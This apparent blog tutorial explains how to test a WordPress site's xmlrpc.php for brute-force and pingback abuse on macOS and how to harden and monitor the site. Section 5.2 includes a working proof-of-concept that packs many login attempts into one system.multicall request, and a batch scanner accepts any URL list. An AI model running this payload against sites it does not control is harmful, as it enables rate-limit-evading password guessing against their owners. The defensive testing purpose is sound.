Testing WordPress XMLRPC.PHP for Brute Force Vulnerabilities on macOS

A Comprehensive Security Testing Guide for Mac Users

1. Introduction

WordPress xmlrpc.php is a legacy XML-RPC interface that enables remote connections to your WordPress site. While designed for legitimate integrations, this endpoint has become a major security concern due to its susceptibility to brute force attacks and amplification attacks. Understanding how to test your WordPress installation for these vulnerabilities is critical for maintaining site security.

In this guide, I’ll walk you through the technical details of XMLRPC.PHP vulnerabilities and provide practical Python scripts optimized for macOS that you can use to test your own WordPress site for exposure. This is essential knowledge for any WordPress site owner or administrator.

2. What is XMLRPC.PHP?

The xmlrpc.php file is part of WordPress core and implements the XML-RPC protocol, which allows external applications to communicate with your WordPress site. Common legitimate uses include:

  • Mobile app connections (WordPress mobile app)
  • Pingbacks and trackbacks from other sites
  • Remote publishing from desktop clients
  • Third party integrations and automation

However, attackers exploit this interface because it allows authentication attempts without the same rate limiting and monitoring that the standard WordPress login page receives.

3. The Vulnerability: System.Multicall Amplification

The most dangerous aspect of XMLRPC.PHP is the system.multicall method. This method allows an attacker to send multiple authentication attempts in a single HTTP request. While your WordPress login page might allow one authentication attempt per request, system.multicall can process hundreds or even thousands of login attempts in a single POST request.

Here’s why this is devastating:

  • Bypasses traditional rate limiting: Most firewalls and security plugins limit requests per IP, but a single request can contain 1000+ authentication attempts
  • Reduces network overhead: Attackers can test thousands of passwords with minimal bandwidth
  • Evades monitoring: Security logs may only show a handful of requests while thousands of passwords are being tested
  • DDoS amplification: Legitimate pingback functionality can be abused to create DDoS attacks against third party sites

4. Prerequisites for macOS

Before we begin testing, ensure your Mac has the necessary tools installed. macOS comes with Python 3 pre-installed (macOS 12.3 and later), but you’ll need to install the requests library.

4.1. Verify Python Installation

Open Terminal (Applications > Utilities > Terminal) and run:

python3 --version

You should see Python 3.x.x. If not, install it via Homebrew:

# Install Homebrew if you don't have it
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# Install Python
brew install python

4.2. Install Required Python Libraries

Modern macOS versions use externally managed Python environments, so you have three options:

Option 1: Use Python Virtual Environment (Recommended)

bash

# Create a virtual environment for WordPress security tools
python3 -m venv ~/wordpress-security
source ~/wordpress-security/bin/activate
pip install requests

# When done testing, deactivate with:
# deactivate

Option 2: Install via Homebrew

bash

brew install python-requests

Option 3: Use pip with –break-system-packages flag

bash

pip3 install requests --break-system-packages

For the rest of this guide, we’ll assume you’re using Option 1 (virtual environment). This is the cleanest approach and won’t interfere with your system Python.

5. Testing Your WordPress Site

Before we dive into the code, it’s important to note that you should only test your own WordPress installations. Testing systems you don’t own or have explicit permission to test is illegal and unethical.

5.1. Quick Test Script

Let’s create a quick test script that checks all vulnerabilities at once. This script will return a clear verdict on whether your site is vulnerable.

cat > ~/xmlrpc_test.py << 'EOF'
#!/usr/bin/env python3
"""
WordPress XMLRPC Debug and Security Tester for macOS
Shows exactly what the server returns and assesses vulnerability
"""

import requests
import sys
from typing import Tuple

class Colors:
    """Terminal colors for macOS"""
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    MAGENTA = '\033[95m'
    CYAN = '\033[96m'
    BOLD = '\033[1m'
    END = '\033[0m'

def print_header(text):
    """Print formatted header"""
    print(f"\n{Colors.CYAN}{Colors.BOLD}{'=' * 70}{Colors.END}")
    print(f"{Colors.CYAN}{Colors.BOLD}{text}{Colors.END}")
    print(f"{Colors.CYAN}{Colors.BOLD}{'=' * 70}{Colors.END}\n")

def print_success(text):
    """Print success message"""
    print(f"{Colors.GREEN}[+] {text}{Colors.END}")

def print_warning(text):
    """Print warning message"""
    print(f"{Colors.YELLOW}[!] {text}{Colors.END}")

def print_error(text):
    """Print error message"""
    print(f"{Colors.RED}[-] {text}{Colors.END}")

def print_info(text):
    """Print info message"""
    print(f"{Colors.BLUE}[*] {text}{Colors.END}")

def check_xmlrpc_enabled(url: str) -> Tuple[bool, dict]:
    """
    Check if XMLRPC is enabled on WordPress site with detailed output
    Returns: (is_vulnerable, debug_info)
    """
    xmlrpc_url = f"{url}/xmlrpc.php"
    debug_info = {}
    
    print_info(f"Testing: {xmlrpc_url}")
    print()
    
    # Test 1: Simple POST
    print(f"{Colors.BOLD}Test 1: Simple POST request (no payload){Colors.END}")
    print("-" * 70)
    try:
        response = requests.post(xmlrpc_url, timeout=10)
        debug_info['simple_post'] = {
            'status': response.status_code,
            'content_type': response.headers.get('Content-Type', 'N/A'),
            'response_preview': response.text[:500]
        }
        
        print(f"Status Code: {response.status_code}")
        print(f"Content-Type: {response.headers.get('Content-Type', 'N/A')}")
        print(f"Response Length: {len(response.text)} bytes")
        print(f"\nFirst 500 characters of response:")
        print(f"{Colors.YELLOW}{response.text[:500]}{Colors.END}")
        print()
        
        # Check if XMLRPC is responding
        xmlrpc_active = False
        if "XML-RPC" in response.text or "xml" in response.text.lower()[:200]:
            xmlrpc_active = True
            print_warning("XMLRPC appears to be active (found XML-RPC indicators)")
        elif response.status_code == 405:
            xmlrpc_active = True
            print_warning("XMLRPC appears to be active (405 Method Not Allowed)")
        else:
            print_success("No obvious XMLRPC response detected")
        
        print()
        
    except Exception as e:
        print_error(f"Error: {e}")
        return False, debug_info
    
    # Test 2: POST with XML payload (list methods)
    print(f"\n{Colors.BOLD}Test 2: POST with listMethods payload{Colors.END}")
    print("-" * 70)
    
    payload = """<?xml version="1.0"?>
    <methodCall>
        <methodName>system.listMethods</methodName>
    </methodCall>
    """
    
    headers = {"Content-Type": "text/xml"}
    
    try:
        response = requests.post(xmlrpc_url, data=payload, headers=headers, timeout=10)
        debug_info['list_methods'] = {
            'status': response.status_code,
            'content_type': response.headers.get('Content-Type', 'N/A'),
            'response_preview': response.text[:1000],
            'has_multicall': 'system.multicall' in response.text,
            'has_pingback': 'pingback.ping' in response.text
        }
        
        print(f"Status Code: {response.status_code}")
        print(f"Content-Type: {response.headers.get('Content-Type', 'N/A')}")
        print(f"Response Length: {len(response.text)} bytes")
        print(f"\nFirst 1000 characters of response:")
        print(f"{Colors.YELLOW}{response.text[:1000]}{Colors.END}")
        
        # Check for dangerous methods
        print(f"\n{Colors.BOLD}Checking for dangerous methods:{Colors.END}")
        has_multicall = False
        has_pingback = False
        
        if "system.multicall" in response.text:
            print_error("✗ system.multicall FOUND - CRITICALLY VULNERABLE")
            has_multicall = True
        else:
            print_success("✓ system.multicall NOT found")
            
        if "pingback.ping" in response.text:
            print_warning("⚠ pingback.ping FOUND - DDoS amplification possible")
            has_pingback = True
        else:
            print_success("✓ pingback.ping NOT found")
        
        print()
        
        # Determine if XMLRPC is truly active and vulnerable
        is_vulnerable = has_multicall or has_pingback
        
        # Check for common XMLRPC indicators
        print(f"\n{Colors.BOLD}Test 3: Analyzing response for XMLRPC indicators{Colors.END}")
        print("-" * 70)
        
        indicators = [
            ("XML-RPC server", "Standard XMLRPC response"),
            ("methodResponse", "Valid XMLRPC response format"),
            ("faultCode", "XMLRPC fault/error"),
            ("POST requests only", "XMLRPC active but rejecting GET"),
            ("xml version", "XML document present"),
        ]
        
        found_indicators = 0
        for indicator, description in indicators:
            if indicator.lower() in response.text.lower():
                print(f"{Colors.YELLOW}✓ Found: '{indicator}' - {description}{Colors.END}")
                found_indicators += 1
            else:
                print(f"  - Not found: '{indicator}'")
        
        print()
        
        # Final determination
        if found_indicators > 0 or has_multicall or has_pingback:
            return True, debug_info
        else:
            return False, debug_info
            
    except Exception as e:
        print_error(f"Error: {e}")
        return False, debug_info

def assess_vulnerability(xmlrpc_enabled: bool, debug_info: dict) -> Tuple[str, str]:
    """
    Assess overall vulnerability level based on debug info
    Returns: (verdict, recommendation)
    """
    if not xmlrpc_enabled:
        return "SECURE", "XMLRPC is disabled or blocked - site is well protected"
    
    # Check if dangerous methods were found
    has_multicall = debug_info.get('list_methods', {}).get('has_multicall', False)
    has_pingback = debug_info.get('list_methods', {}).get('has_pingback', False)
    
    if has_multicall and has_pingback:
        return "CRITICALLY VULNERABLE", "Both brute force and DDoS attacks possible"
    elif has_multicall:
        return "CRITICALLY VULNERABLE", "Brute force amplification attacks possible"
    elif has_pingback:
        return "MODERATELY VULNERABLE", "DDoS amplification attacks possible"
    else:
        # XMLRPC is responding but dangerous methods not confirmed
        return "POTENTIALLY VULNERABLE", "XMLRPC is active - recommend further investigation"

def main():
    if len(sys.argv) < 2:
        print(f"\n{Colors.BOLD}Usage:{Colors.END} python3 xmlrpc_test.py <wordpress-url>")
        print(f"{Colors.BOLD}Example:{Colors.END} python3 xmlrpc_test.py https://example.com\n")
        sys.exit(1)
    
    url = sys.argv[1].rstrip('/')
    
    print_header("WordPress XMLRPC Security Tester for macOS")
    print(f"{Colors.BOLD}Target:{Colors.END} {url}")
    
    # Run comprehensive check
    xmlrpc_enabled, debug_info = check_xmlrpc_enabled(url)
    
    # Generate verdict
    verdict, recommendation = assess_vulnerability(xmlrpc_enabled, debug_info)
    
    # Print summary
    print_header("VULNERABILITY ASSESSMENT")
    
    if verdict == "SECURE":
        print(f"{Colors.GREEN}{Colors.BOLD}VERDICT: {verdict}{Colors.END}")
        print(f"{Colors.GREEN}{recommendation}{Colors.END}\n")
    elif verdict == "CRITICALLY VULNERABLE":
        print(f"{Colors.RED}{Colors.BOLD}VERDICT: {verdict}{Colors.END}")
        print(f"{Colors.RED}{recommendation}{Colors.END}\n")
        print(f"{Colors.BOLD}IMMEDIATE ACTIONS REQUIRED:{Colors.END}")
        if debug_info.get('list_methods', {}).get('has_multicall', False):
            print(f"  {Colors.RED}•{Colors.END} Disable system.multicall method immediately")
        if debug_info.get('list_methods', {}).get('has_pingback', False):
            print(f"  {Colors.RED}•{Colors.END} Disable pingback.ping method")
        print(f"  {Colors.RED}•{Colors.END} Consider disabling XMLRPC entirely")
        print(f"  {Colors.RED}•{Colors.END} Implement IP based rate limiting")
        print(f"  {Colors.RED}•{Colors.END} Install a WordPress security plugin")
        print(f"  {Colors.RED}•{Colors.END} Monitor access logs for abuse\n")
    elif verdict == "MODERATELY VULNERABLE":
        print(f"{Colors.YELLOW}{Colors.BOLD}VERDICT: {verdict}{Colors.END}")
        print(f"{Colors.YELLOW}{recommendation}{Colors.END}\n")
        print(f"{Colors.BOLD}RECOMMENDED ACTIONS:{Colors.END}")
        print(f"  {Colors.YELLOW}•{Colors.END} Disable pingback.ping method")
        print(f"  {Colors.YELLOW}•{Colors.END} Monitor for DDoS abuse")
        print(f"  {Colors.YELLOW}•{Colors.END} Consider disabling XMLRPC if not needed\n")
    else:  # POTENTIALLY VULNERABLE
        print(f"{Colors.YELLOW}{Colors.BOLD}VERDICT: {verdict}{Colors.END}")
        print(f"{Colors.YELLOW}{recommendation}{Colors.END}\n")
        print(f"{Colors.BOLD}WHAT THIS MEANS:{Colors.END}")
        print(f"  {Colors.YELLOW}•{Colors.END} XMLRPC endpoint is responding to requests")
        print(f"  {Colors.YELLOW}•{Colors.END} Could not confirm dangerous methods in response")
        print(f"  {Colors.YELLOW}•{Colors.END} This could mean methods are blocked or response is filtered")
        print(f"\n{Colors.BOLD}RECOMMENDED ACTIONS:{Colors.END}")
        print(f"  {Colors.YELLOW}•{Colors.END} Review the response output above")
        print(f"  {Colors.YELLOW}•{Colors.END} If you see method names listed, check for system.multicall")
        print(f"  {Colors.YELLOW}•{Colors.END} Disable XMLRPC entirely if you don't use it")
        print(f"  {Colors.YELLOW}•{Colors.END} Install a WordPress security plugin\n")
    
    print(f"{Colors.CYAN}{'=' * 70}{Colors.END}\n")
    
    # Return exit code based on vulnerability
    if verdict == "CRITICALLY VULNERABLE":
        sys.exit(2)
    elif verdict in ["MODERATELY VULNERABLE", "POTENTIALLY VULNERABLE"]:
        sys.exit(1)
    else:
        sys.exit(0)

if __name__ == "__main__":
    main()
EOF

chmod +x ~/xmlrpc_test.py

Now you can test any WordPress site:

~/xmlrpc_test.py https://your-wordpress-site.com

5.2. Advanced Testing Script with Proof of Concept

For those who want to understand the actual attack mechanism, here’s a more detailed script that demonstrates how the brute force amplification works:

cat > ~/xmlrpc_poc.py << 'EOF'
#!/usr/bin/env python3
"""
WordPress XMLRPC Brute Force PoC for macOS
WARNING: Only use on your own site with test credentials!
"""

import requests
import sys
import time

class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    CYAN = '\033[96m'
    BOLD = '\033[1m'
    END = '\033[0m'

def test_multicall_amplification(url: str, username: str, password_count: int = 5) -> bool:
    """
    Demonstrate brute force amplification using system.multicall
    Returns: True if vulnerable to amplification, False otherwise
    """
    xmlrpc_url = f"{url}/xmlrpc.php"
    
    # Generate test passwords (intentionally wrong)
    test_passwords = [f"testpass{i}" for i in range(1, password_count + 1)]
    
    # Build multicall payload with multiple login attempts
    calls = []
    for password in test_passwords:
        call = f"""
        <struct>
            <member>
                <name>methodName</name>
                <value><string>wp.getUsersBlogs</string></value>
            </member>
            <member>
                <name>params</name>
                <value>
                    <array>
                        <data>
                            <value><string>{username}</string></value>
                            <value><string>{password}</string></value>
                        </data>
                    </array>
                </value>
            </member>
        </struct>
        """
        calls.append(call)
    
    payload = f"""<?xml version="1.0"?>
    <methodCall>
        <methodName>system.multicall</methodName>
        <params>
            <param>
                <value>
                    <array>
                        <data>
                            {''.join(calls)}
                        </data>
                    </array>
                </value>
            </param>
        </params>
    </methodCall>
    """
    
    headers = {"Content-Type": "text/xml"}
    
    try:
        print(f"\n{Colors.YELLOW}[*] Testing {password_count} passwords in a SINGLE request...{Colors.END}")
        
        start_time = time.time()
        response = requests.post(xmlrpc_url, data=payload, headers=headers, timeout=30)
        elapsed_time = time.time() - start_time
        
        print(f"{Colors.CYAN}[*] Request completed in {elapsed_time:.2f} seconds{Colors.END}")
        print(f"{Colors.CYAN}[*] Server processed {password_count} authentication attempts{Colors.END}")
        print(f"{Colors.CYAN}[*] All attempts were in ONE HTTP request{Colors.END}\n")
        
        # Check if the method worked (even if credentials failed)
        if "faultCode" in response.text or "Incorrect" in response.text:
            print(f"{Colors.RED}[!] VULNERABLE: system.multicall processed all attempts{Colors.END}")
            print(f"{Colors.RED}[!] Attackers can test hundreds/thousands of passwords per request{Colors.END}")
            return True
        else:
            print(f"{Colors.GREEN}[+] system.multicall appears to be blocked{Colors.END}")
            return False
            
    except Exception as e:
        print(f"{Colors.RED}[-] Error during amplification test: {e}{Colors.END}")
        return False

def main():
    if len(sys.argv) < 2:
        print(f"\n{Colors.BOLD}Usage:{Colors.END} python3 xmlrpc_poc.py <wordpress-url> [test_username] [password_count]")
        print(f"{Colors.BOLD}Example:{Colors.END} python3 xmlrpc_poc.py https://example.com testuser 10\n")
        print(f"{Colors.YELLOW}WARNING: Only test sites you own!{Colors.END}\n")
        sys.exit(1)
    
    url = sys.argv[1].rstrip('/')
    username = sys.argv[2] if len(sys.argv) > 2 else "testuser"
    password_count = int(sys.argv[3]) if len(sys.argv) > 3 else 5
    
    print(f"\n{Colors.CYAN}{Colors.BOLD}{'=' * 70}{Colors.END}")
    print(f"{Colors.CYAN}{Colors.BOLD}WordPress XMLRPC Brute Force Amplification Test{Colors.END}")
    print(f"{Colors.CYAN}{Colors.BOLD}{'=' * 70}{Colors.END}")
    print(f"{Colors.BOLD}Target:{Colors.END} {url}")
    print(f"{Colors.BOLD}Test Username:{Colors.END} {username}")
    print(f"{Colors.BOLD}Password Attempts:{Colors.END} {password_count}")
    print(f"{Colors.RED}{Colors.BOLD}WARNING: Only test your own WordPress site!{Colors.END}")
    
    vulnerable = test_multicall_amplification(url, username, password_count)
    
    print(f"\n{Colors.CYAN}{'=' * 70}{Colors.END}")
    print(f"{Colors.BOLD}PROOF OF CONCEPT RESULT{Colors.END}")
    print(f"{Colors.CYAN}{'=' * 70}{Colors.END}\n")
    
    if vulnerable:
        print(f"{Colors.RED}{Colors.BOLD}VERDICT: VULNERABLE TO BRUTE FORCE AMPLIFICATION{Colors.END}\n")
        print(f"{Colors.BOLD}What this means:{Colors.END}")
        print(f"  • Attackers can test {password_count} passwords in 1 HTTP request")
        print(f"  • Scaling to 1000 passwords per request is trivial")
        print(f"  • Traditional rate limiting is bypassed")
        print(f"  • Your logs will show minimal suspicious activity\n")
        print(f"{Colors.RED}{Colors.BOLD}TAKE ACTION IMMEDIATELY{Colors.END}\n")
    else:
        print(f"{Colors.GREEN}{Colors.BOLD}VERDICT: PROTECTED{Colors.END}\n")
        print("Your site appears to have protections in place.\n")
    
    print(f"{Colors.CYAN}{'=' * 70}{Colors.END}\n")

if __name__ == "__main__":
    main()
EOF
chmod +x ~/xmlrpc_poc.py

Test with proof of concept (only on your own site!):

~/xmlrpc_poc.py https://your-wordpress-site.com testuser 10

5.3. Batch Testing Script for Multiple Sites

If you manage multiple WordPress sites, this script tests them all at once:

cat > ~/xmlrpc_batch_test.py << 'EOF'
#!/usr/bin/env python3
"""
WordPress XMLRPC Batch Security Tester for macOS
Test multiple WordPress sites from a file
"""

import requests
import sys
from typing import Dict, List

class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    CYAN = '\033[96m'
    BOLD = '\033[1m'
    END = '\033[0m'

def check_site(url: str) -> Dict[str, bool]:
    """Check a single site for all vulnerabilities"""
    xmlrpc_url = f"{url}/xmlrpc.php"
    results = {
        'url': url,
        'xmlrpc_enabled': False,
        'multicall': False,
        'pingback': False,
        'error': None
    }
    
    # Check XMLRPC enabled
    try:
        response = requests.post(xmlrpc_url, timeout=10)
        if response.status_code == 405 and "XML-RPC server" in response.text:
            results['xmlrpc_enabled'] = True
        else:
            return results
    except Exception as e:
        results['error'] = str(e)
        return results
    
    # Check methods
    payload = """<?xml version="1.0"?>
    <methodCall>
        <methodName>system.listMethods</methodName>
    </methodCall>
    """
    headers = {"Content-Type": "text/xml"}
    
    try:
        response = requests.post(xmlrpc_url, data=payload, headers=headers, timeout=10)
        if "system.multicall" in response.text:
            results['multicall'] = True
        if "pingback.ping" in response.text:
            results['pingback'] = True
    except Exception as e:
        results['error'] = str(e)
    
    return results

def assess_risk(results: Dict[str, bool]) -> str:
    """Determine risk level"""
    if results['error']:
        return "ERROR"
    if not results['xmlrpc_enabled']:
        return "SECURE"
    if results['multicall'] and results['pingback']:
        return "CRITICAL"
    if results['multicall']:
        return "CRITICAL"
    if results['pingback']:
        return "MODERATE"
    return "LOW"

def main():
    if len(sys.argv) < 2:
        print(f"\n{Colors.BOLD}Usage:{Colors.END} python3 xmlrpc_batch_test.py <sites-file>")
        print(f"{Colors.BOLD}Example:{Colors.END} python3 xmlrpc_batch_test.py sites.txt\n")
        print(f"Sites file should contain one URL per line:\n")
        print("  https://example1.com")
        print("  https://example2.com")
        print("  https://example3.com\n")
        sys.exit(1)
    
    sites_file = sys.argv[1]
    
    # Read sites from file
    try:
        with open(sites_file, 'r') as f:
            sites = [line.strip() for line in f if line.strip() and not line.startswith('#')]
    except Exception as e:
        print(f"{Colors.RED}Error reading file: {e}{Colors.END}")
        sys.exit(1)
    
    print(f"\n{Colors.CYAN}{Colors.BOLD}{'=' * 70}{Colors.END}")
    print(f"{Colors.CYAN}{Colors.BOLD}WordPress XMLRPC Batch Security Test{Colors.END}")
    print(f"{Colors.CYAN}{Colors.BOLD}{'=' * 70}{Colors.END}\n")
    print(f"Testing {len(sites)} sites...\n")
    
    results_by_risk = {
        'CRITICAL': [],
        'MODERATE': [],
        'LOW': [],
        'SECURE': [],
        'ERROR': []
    }
    
    # Test each site
    for i, url in enumerate(sites, 1):
        url = url.rstrip('/')
        print(f"{Colors.CYAN}[{i}/{len(sites)}]{Colors.END} Testing {url}...", end=' ')
        
        result = check_site(url)
        risk = assess_risk(result)
        results_by_risk[risk].append(result)
        
        if risk == "CRITICAL":
            print(f"{Colors.RED}{Colors.BOLD}CRITICAL{Colors.END}")
        elif risk == "MODERATE":
            print(f"{Colors.YELLOW}MODERATE{Colors.END}")
        elif risk == "LOW":
            print(f"{Colors.YELLOW}LOW{Colors.END}")
        elif risk == "SECURE":
            print(f"{Colors.GREEN}SECURE{Colors.END}")
        else:
            print(f"{Colors.RED}ERROR{Colors.END}")
    
    # Print summary
    print(f"\n{Colors.CYAN}{Colors.BOLD}{'=' * 70}{Colors.END}")
    print(f"{Colors.CYAN}{Colors.BOLD}SUMMARY{Colors.END}")
    print(f"{Colors.CYAN}{Colors.BOLD}{'=' * 70}{Colors.END}\n")
    
    # Critical vulnerabilities
    if results_by_risk['CRITICAL']:
        print(f"{Colors.RED}{Colors.BOLD}CRITICAL VULNERABILITIES ({len(results_by_risk['CRITICAL'])} sites):{Colors.END}")
        for r in results_by_risk['CRITICAL']:
            print(f"{Colors.RED}  • {r['url']}{Colors.END}")
            if r['multicall']:
                print(f"    - Brute force amplification possible")
            if r['pingback']:
                print(f"    - DDoS amplification possible")
        print()
    
    # Moderate vulnerabilities
    if results_by_risk['MODERATE']:
        print(f"{Colors.YELLOW}{Colors.BOLD}MODERATE VULNERABILITIES ({len(results_by_risk['MODERATE'])} sites):{Colors.END}")
        for r in results_by_risk['MODERATE']:
            print(f"{Colors.YELLOW}  • {r['url']}{Colors.END} - DDoS risk via pingback")
        print()
    
    # Low risk
    if results_by_risk['LOW']:
        print(f"{Colors.YELLOW}LOW RISK ({len(results_by_risk['LOW'])} sites):{Colors.END}")
        for r in results_by_risk['LOW']:
            print(f"  • {r['url']} - XMLRPC enabled but methods blocked")
        print()
    
    # Secure
    if results_by_risk['SECURE']:
        print(f"{Colors.GREEN}{Colors.BOLD}SECURE ({len(results_by_risk['SECURE'])} sites):{Colors.END}")
        for r in results_by_risk['SECURE']:
            print(f"{Colors.GREEN}  • {r['url']}{Colors.END}")
        print()
    
    # Errors
    if results_by_risk['ERROR']:
        print(f"{Colors.RED}ERRORS ({len(results_by_risk['ERROR'])} sites):{Colors.END}")
        for r in results_by_risk['ERROR']:
            print(f"  • {r['url']} - {r['error']}")
        print()
    
    print(f"{Colors.CYAN}{'=' * 70}{Colors.END}\n")

if __name__ == "__main__":
    main()
EOF
chmod +x ~/xmlrpc_batch_test.py

Create a sites list:

cat > ~/wordpress_sites.txt << 'EOF'
https://site1.com
https://site2.com
https://site3.com
EOF

Run batch test:

~/xmlrpc_batch_test.py ~/wordpress_sites.txt

6. How to Protect Your WordPress Site on macOS

If your tests reveal that your site is vulnerable, here are the steps you should take. These instructions assume you’re managing your WordPress site from your Mac.

6.1. Option 1: Disable XMLRPC Completely (Recommended)

If you don’t use any services that require XMLRPC, the best solution is to disable it entirely.

Via .htaccess (Apache servers)

Connect to your server via SSH or SFTP and add this to your .htaccess file:

# Create a backup first
ssh [email protected] "cp /var/www/html/.htaccess /var/www/html/.htaccess.backup"

# Add XMLRPC block
cat >> .htaccess << 'HTACCESS'

# Block WordPress xmlrpc.php requests
<Files xmlrpc.php>
    order deny,allow
    deny from all
</Files>
HTACCESS

Via Nginx

If using Nginx, add this to your server block:

location = /xmlrpc.php {
    deny all;
}

6.2. Option 2: Disable Specific XMLRPC Methods

If you need XMLRPC for some functionality but want to block dangerous methods, you can add this via SSH to your theme’s functions.php:

cat >> functions.php << 'PHP'

// Disable dangerous XMLRPC methods
add_filter('xmlrpc_methods', 'remove_dangerous_xmlrpc_methods');
function remove_dangerous_xmlrpc_methods($methods) {
    unset($methods['system.multicall']);
    unset($methods['system.listMethods']);
    unset($methods['pingback.ping']);
    unset($methods['pingback.extensions.getPingbacks']);
    return $methods;
}
PHP

6.3. Option 3: Use a WordPress Plugin

Install one of these security plugins via your WordPress admin panel:

  • Wordfence Security: Includes comprehensive XMLRPC protection
  • iThemes Security: Can disable XMLRPC or specific methods
  • All In One WP Security: Provides XMLRPC firewall rules
  • Disable XML-RPC: Lightweight plugin specifically for this purpose

6.4. Option 4: Block XMLRPC at the Firewall Level

If you use a service like Cloudflare, create a firewall rule:

  1. Log into Cloudflare
  2. Go to Security > WAF
  3. Create a new rule:
    • Field: URI Path
    • Operator: equals
    • Value: /xmlrpc.php
    • Action: Block

7. Monitoring for XMLRPC Attacks on macOS

Even after implementing protections, you should monitor your logs for XMLRPC abuse attempts.

7.1. Create a Log Monitoring Script

cat > ~/check_xmlrpc_attacks.sh << 'EOF'
#!/bin/bash

# WordPress XMLRPC Attack Monitor for macOS
# Analyzes server logs for XMLRPC abuse

if [ $# -lt 1 ]; then
    echo "Usage: $0 <log-file> [min-requests]"
    echo "Example: $0 access.log 10"
    exit 1
fi

LOG_FILE=$1
MIN_REQUESTS=${2:-10}

echo "======================================================================"
echo "WordPress XMLRPC Attack Monitor"
echo "======================================================================"
echo "Log file: $LOG_FILE"
echo "Minimum requests threshold: $MIN_REQUESTS"
echo ""

# Check if log file exists
if [ ! -f "$LOG_FILE" ]; then
    echo "Error: Log file not found: $LOG_FILE"
    exit 1
fi

# Count total XMLRPC requests
TOTAL=$(grep "POST /xmlrpc.php" "$LOG_FILE" | wc -l | tr -d ' ')
echo "Total XMLRPC requests: $TOTAL"
echo ""

if [ "$TOTAL" -eq 0 ]; then
    echo "No XMLRPC requests found in log file."
    exit 0
fi

# Find top attacking IPs
echo "Top IP addresses hitting XMLRPC:"
echo "======================================================================"
grep "POST /xmlrpc.php" "$LOG_FILE" | \
    awk '{print $1}' | \
    sort | uniq -c | sort -rn | \
    awk -v min="$MIN_REQUESTS" '$1 >= min {printf "%-15s %6d requests", $2, $1; if ($1 > 100) printf " [HIGH RISK]"; if ($1 > 1000) printf " [CRITICAL]"; print ""}' | \
    head -20

echo ""

# Check for large POST requests (indicates multicall)
echo "Large POST requests (possible multicall attacks):"
echo "======================================================================"
grep "POST /xmlrpc.php" "$LOG_FILE" | \
    awk '$10 > 1000 {print $1, $10, "bytes"}' | \
    head -10

echo ""
echo "======================================================================"
EOF

chmod +x ~/check_xmlrpc_attacks.sh

Download your server logs and analyze them:

# Download logs via SCP
scp [email protected]:/var/log/nginx/access.log ~/access.log

# Analyze for attacks
~/check_xmlrpc_attacks.sh ~/access.log 10

7.2. Set Up Automated Monitoring

Create a script that runs periodically:

cat > ~/xmlrpc_monitor_cron.sh << 'EOF'
#!/bin/bash

# Automated XMLRPC monitoring for macOS
# Add to crontab to run hourly

SERVER_USER="your_username"
SERVER_HOST="your_server.com"
LOG_PATH="/var/log/nginx/access.log"
ALERT_EMAIL="[email protected]"
THRESHOLD=100

# Download recent logs
scp -q "$SERVER_USER@$SERVER_HOST:$LOG_PATH" /tmp/xmlrpc_check.log 2>/dev/null

if [ $? -ne 0 ]; then
    echo "Failed to download logs from server"
    exit 1
fi

# Check for suspicious activity
XMLRPC_COUNT=$(grep "POST /xmlrpc.php" /tmp/xmlrpc_check.log | wc -l | tr -d ' ')

if [ "$XMLRPC_COUNT" -gt "$THRESHOLD" ]; then
    # Send alert
    echo "ALERT: $XMLRPC_COUNT XMLRPC requests detected on $SERVER_HOST" | \
        mail -s "WordPress XMLRPC Attack Alert" "$ALERT_EMAIL"
fi

# Cleanup
rm -f /tmp/xmlrpc_check.log
EOF

chmod +x ~/xmlrpc_monitor_cron.sh

Add to crontab to run hourly:

# Open crontab editor
crontab -e

# Add this line:
# 0 * * * * /Users/yourusername/xmlrpc_monitor_cron.sh

8. Real World Attack Scenarios

Understanding how these attacks work in practice helps illustrate the severity:

8.1. Credential Stuffing Attack

Attackers use system.multicall to test stolen credentials from data breaches. A single request can test 1000 username/password combinations, making the attack incredibly efficient and hard to detect.

8.2. DDoS Amplification

Attackers abuse the pingback.ping method to make your WordPress site send requests to a victim’s server. Since your site has more bandwidth than the attacker, this amplifies the DDoS attack.

8.3. Resource Exhaustion

Even without successful authentication, processing thousands of multicall requests can overload your database and PHP processes, causing legitimate site slowdowns or crashes.

9. Additional Security Best Practices for Mac WordPress Admins

9.1. Use Strong SSH Keys

Generate a strong SSH key on your Mac:

ssh-keygen -t ed25519 -C "[email protected]" -f ~/.ssh/wordpress_servers

Add to your server:

ssh-copy-id -i ~/.ssh/wordpress_servers.pub [email protected]

9.2. Implement Two Factor Authentication

Use a WordPress plugin like:

  • Two Factor Authentication: Official WordPress.org plugin
  • Wordfence: Includes 2FA for admin accounts
  • Google Authenticator: Integrates with Google Authenticator app on your iPhone

9.3. Regular Backups

Create a backup script for your Mac:

cat > ~/wordpress_backup.sh << 'EOF'
#!/bin/bash

SERVER_USER="your_username"
SERVER_HOST="your_server.com"
WP_PATH="/var/www/html"
BACKUP_DIR="$HOME/WordPress_Backups"
DATE=$(date +%Y%m%d_%H%M%S)

mkdir -p "$BACKUP_DIR"

echo "Backing up WordPress from $SERVER_HOST..."

# Backup files
ssh "$SERVER_USER@$SERVER_HOST" "tar czf /tmp/wp_files_$DATE.tar.gz -C $WP_PATH ."
scp "$SERVER_USER@$SERVER_HOST:/tmp/wp_files_$DATE.tar.gz" "$BACKUP_DIR/"
ssh "$SERVER_USER@$SERVER_HOST" "rm /tmp/wp_files_$DATE.tar.gz"

# Backup database
ssh "$SERVER_USER@$SERVER_HOST" "mysqldump -u dbuser -p dbname > /tmp/wp_db_$DATE.sql"
scp "$SERVER_USER@$SERVER_HOST:/tmp/wp_db_$DATE.sql" "$BACKUP_DIR/"
ssh "$SERVER_USER@$SERVER_HOST" "rm /tmp/wp_db_$DATE.sql"

echo "Backup complete: $BACKUP_DIR/wp_files_$DATE.tar.gz"
echo "Database backup: $BACKUP_DIR/wp_db_$DATE.sql"
EOF

chmod +x ~/wordpress_backup.sh

10. Troubleshooting Common Issues on macOS

10.1. SSL Certificate Verification Errors

If you get SSL errors when testing:

# Add this to your scripts after the imports
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Then modify requests to:
response = requests.post(xmlrpc_url, verify=False, timeout=10)

10.2. Python Module Not Found

# Ensure you're using pip3, not pip
pip3 install --upgrade requests

# If still having issues, use Python 3 explicitly
